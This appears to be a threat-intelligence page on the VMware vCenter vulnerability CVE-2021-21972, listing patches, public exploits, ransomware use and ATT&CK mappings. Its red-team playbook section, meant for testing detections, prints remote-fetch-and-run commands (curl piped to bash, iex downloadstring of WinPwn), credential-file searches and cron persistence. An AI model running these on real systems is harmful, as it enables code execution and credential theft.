CVE-2021-21972

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 24/02 Upd 21/10

Overview

This vulnerability is a remote code execution flaw caused by improper input validation in a vCenter Server plugin used by the vSphere Client (HTML5). The root cause is an arbitrary file upload mechanism that allows an attacker to write files to the underlying operating system. The affected component is the vCenter Server plugin accessible via HTTPS on port 443, which fails to restrict malicious payload uploads.

Vulnerability Description

The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

Impact

An attacker with network access to the vCenter Server's HTTPS port can execute arbitrary commands on the underlying operating system with unrestricted privileges without any authentication or user interaction. This enables full system compromise, allowing data exfiltration, manipulation of virtual infrastructure, and lateral movement within the environment. The vulnerability can lead to complete control over the affected virtual infrastructure management platform, severely impacting business continuity and confidentiality.

Solution

Apply the updates provided in VMware Security Advisory VMSA-2021-0002 for VMware vCenter Server versions 7.0 U1c, 6.7 U3l, and 6.5 U3n, as well as VMware Cloud Foundation versions 4.2 and 3.10.1.2 or later. Detailed patch instructions and version-specific guidance are available at https://www.vmware.com/security/advisories/VMSA-2021-0002.html. Follow the vendor’s recommended upgrade path to remediate this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the vSphere Client (HTML5) presents a significant risk due to its nature as a remote code execution flaw within a vCenter Server plugin. This issue arises from improper validation of user input, allowing an attacker with network access to port 443 to send crafted requests that the server processes without adequate checks. As a result, the attacker can execute arbitrary commands with unrestricted privileges on the underlying operating system hosting the vCenter Server. This vulnerability affects multiple versions of VMware vCenter Server and VMware Cloud Foundation, creating a broad attack surface for potential exploitation.

Attack vectors for this vulnerability are particularly concerning due to the requirement for network access to a specific port, which is commonly exposed in enterprise environments. An attacker could leverage this access to launch a targeted attack, potentially gaining control over the entire virtualized infrastructure managed by the vCenter Server. Exploitation scenarios may include deploying malicious payloads, altering configurations, or even pivoting to other systems within the network. Given the privileges associated with the vCenter Server, the impact of a successful attack could be catastrophic, leading to data breaches, service disruptions, or complete operational paralysis.

The real-world impact of this vulnerability extends beyond immediate technical concerns; it poses substantial business risks as well. Organizations relying on VMware products for their virtualization infrastructure could face significant downtime, loss of data integrity, and reputational damage if exploited. The financial implications of such incidents can be severe, including costs associated with incident response, recovery efforts, and potential regulatory fines, particularly in industries subject to stringent data protection regulations. Additionally, the potential for data exfiltration or ransomware deployment could further exacerbate the situation, leading to long-term consequences for affected organizations.

To detect and mitigate this vulnerability, organizations should adopt a multi-layered approach. Regular vulnerability assessments and penetration testing can help identify exposure to this flaw, while maintaining an up-to-date inventory of all software versions is crucial for effective patch management. VMware has released patches for the affected versions, and organizations must prioritize applying these updates to mitigate the risk. Additionally, implementing network segmentation to restrict access to critical services like vCenter Server can reduce the attack surface and limit the potential for exploitation. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of attempted exploits.

In conclusion, the remote code execution vulnerability within the vSphere Client represents a critical threat to organizations utilizing VMware products. The potential for exploitation, combined with the severe consequences of a successful attack, necessitates immediate attention from cybersecurity professionals. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better safeguard their virtualized environments against this and similar vulnerabilities.




CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2021-21972, driven by the emergence of multiple new public proof-of-concept exploits and the release of a Metasploit module that significantly lowers the technical barrier for attackers. This expansion of the exploit landscape is compounded by the vulnerability’s recent inclusion in the CISA KEV catalog, underscoring its prioritization for remediation. Our telemetry also indicates a notable association with ransomware actors, specifically the Akira group, which elevates the operational risk by linking exploitation attempts to financially motivated campaigns. The EPSS score nearing certainty reflects the high likelihood of active exploitation in the wild. Collectively, these developments elevate the threat level from theoretical to imminent, signaling that defenders must anticipate increased targeting of VMware vCenter Server environments and heightened risk of severe operational impact.



Update 2 — July 08, 2026

CSURFACE threat intelligence has detected a modest uptick in exploitation attempts targeting CVE-2021-21972, reflected by a discernible increase in telemetry signals. This escalation, while not rapid, underscores sustained adversary interest and operational activity exploiting this critical vulnerability. Concurrently, the availability of multiple new proof-of-concept exploits on public repositories has lowered the technical barrier for threat actors, potentially broadening the attacker base. The continued association with financially motivated ransomware groups, notably Akira, reinforces the likelihood that exploitation attempts are increasingly leveraged within ransomware campaigns, amplifying the operational risk to affected VMware vCenter Server environments. Although the EPSS score remains stable near certainty, this incremental rise in exploitation indicators signals a persistent and evolving threat landscape. Defenders should interpret this as a confirmation of ongoing targeting rather than an isolated or diminishing risk, warranting heightened vigilance and prioritization of detection capabilities.

Affected Products (43)

Vendor Product Version CPE
vmware Vmware Cloud Foundation All cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
vmware Vmware Cloud Foundation All cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1e:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1g:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2b:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2c:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2g:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update3:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update3d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update3f:*:*:*:*:*:*
+23 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
VMware vCenter Server Unauthenticated OVA File Upload RCE
exploits/multi/http/vmware_vcenter_uploadova_rce
Mikhail Klyuchnikov, wvu, mr_me +1 Unknown - View

ExploitDB (2)

Title Author Type Platform Date Link
VMware vCenter Server 7.0 - Remote Code Execution (RCE) (Unauthenticated) CHackA0101 webapps multiple - View
VMware vCenter Server 7.0 - Unauthenticated File Upload Photubias webapps multiple - View

GitHub PoCs (27)

Repository Author Stars Forks Date Link
Schira4396/VcenterKiller
一款针对Vcenter的综合利用工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005、One Access的CVE-2022-22954、CVE-2022-22972/31656以...
Schira4396 1476 166 2022-10-04 View
NS-Sp4ce/CVE-2021-21972
CVE-2021-21972 Exploit
NS-Sp4ce 501 140 2021-02-24 View
horizon3ai/CVE-2021-21972
Proof of Concept Exploit for vCenter CVE-2021-21972
horizon3ai 270 83 2021-02-24 View
QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
QmF0c3UK 137 61 2021-02-24 View
psc4re/NSE-scripts
NSE scripts to detect CVE-2020-1350 SIGRED and CVE-2020-0796 SMBGHOST, CVE-2021-21972, proxyshell, CVE-2021-34473
psc4re 162 29 2020-03-11 View
alt3kx/CVE-2021-21972
alt3kx 54 15 2021-02-25 View
milo2012/CVE-2021-21972
CVE-2021-21972
milo2012 33 8 2021-02-25 View
conjojo/VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972
VMware vCenter 未授权RCE(CVE-2021-21972)
conjojo 28 5 2021-02-25 View
GuayoyoCyber/CVE-2021-21972
Nmap script to check vulnerability CVE-2021-21972
GuayoyoCyber 28 4 2021-02-26 View
TaroballzChen/CVE-2021-21972
CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script
TaroballzChen 19 6 2021-03-07 View
B1anda0/CVE-2021-21972
VMware vCenter Server远程代码执行漏洞 (CVE-2021-21972)批量检测脚本
B1anda0 11 9 2021-02-25 View
orangmuda/CVE-2021-21972
CVE-2021-21972 – ᴠᴍᴡᴀʀᴇ ᴄʟɪᴇɴᴛ ᴜɴᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄᴏᴅᴇ ɪɴᴊᴇᴄᴛɪᴏɴ (ʀᴄᴇ)
orangmuda 10 4 2021-10-03 View
Ma1Dong/vcenter_rce
漏洞利用,Vmware vCenter 6.5-7.0 RCE(CVE-2021-21972),上传冰蝎3,getshell
Ma1Dong 11 3 2021-03-01 View
yaunsky/CVE-2021-21972
yaunsky 8 4 2021-02-24 View
murataydemir/CVE-2021-21972
[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)
murataydemir 6 1 2021-04-06 View
haidv35/CVE-2021-21972
haidv35 3 2 2021-07-26 View
pettyhacks/vSphereyeeter
POC exploit for CVE-2021-21972
pettyhacks 3 1 2021-04-22 View
ByZain/CVE-2021-21972
CVE-2021-21972 related vulnerability code
ByZain 3 0 2021-03-04 View
renini/CVE-2021-21972
CVE-2021-21972
renini 2 0 2021-02-25 View
Osyanina/westone-CVE-2021-21972-scanner
A vulnerability scanner that detects CVE-2021-21972 vulnerabilities.
Osyanina 1 1 2021-02-25 View
d3sh1n/cve-2021-21972
d3sh1n 0 1 2021-03-03 View
TAI-REx/CVE-2021-21972
CVE-2021-21972 vCenter-6.5-7.0 RCE POC
TAI-REx 0 1 2021-09-12 View
L-pin/CVE-2021-21972
L-pin 1 0 2021-02-25 View
robwillisinfo/VMware_vCenter_CVE-2021-21972
VMware vCenter CVE-2021-21972 Tools
robwillisinfo 1 0 2021-02-27 View
JMousqueton/Detect-CVE-2021-21972
JMousqueton 0 0 2021-02-27 View
user16-et/cve-2021-21972_PoC
user16-et 0 0 2022-05-16 View
SimoesCTT/CTT-enhanced-VMware-vCenter
Looking at current high-impact vulnerabilities, let's use the VMware vCenter Server CVE-2021-21972 (CVSS 9.8) as our bas...
SimoesCTT 0 0 2026-01-27 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 1

akira
CONFIRMED
1529 victims
ransomware.live
2026-06-25

Threat Feed

13 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-03-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-02-23
Exploit Published (2 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

2020-03-11
PoC Published (27 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
96% path_traversal
Remote Code Execution
88% rce
OS Command Injection
86% command_injection
Code Injection
69% code_injection
Server-Side Request Forgery
44% ssrf

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
48%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
45%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
43%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
42%
High High
CAPEC-76 Manipulating Web Input to File System Calls
37%
High Very High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-21972
vmware.com
GitHub CVE x_refsource_CONFIRM
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/161590/VMware-vCenter-Server-7.0-Arbitrary-File-Upload.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/161695/VMware-vCenter-Server-File-Upload-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/163268/VMware-vCenter-6.5-6.7-7.0-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21972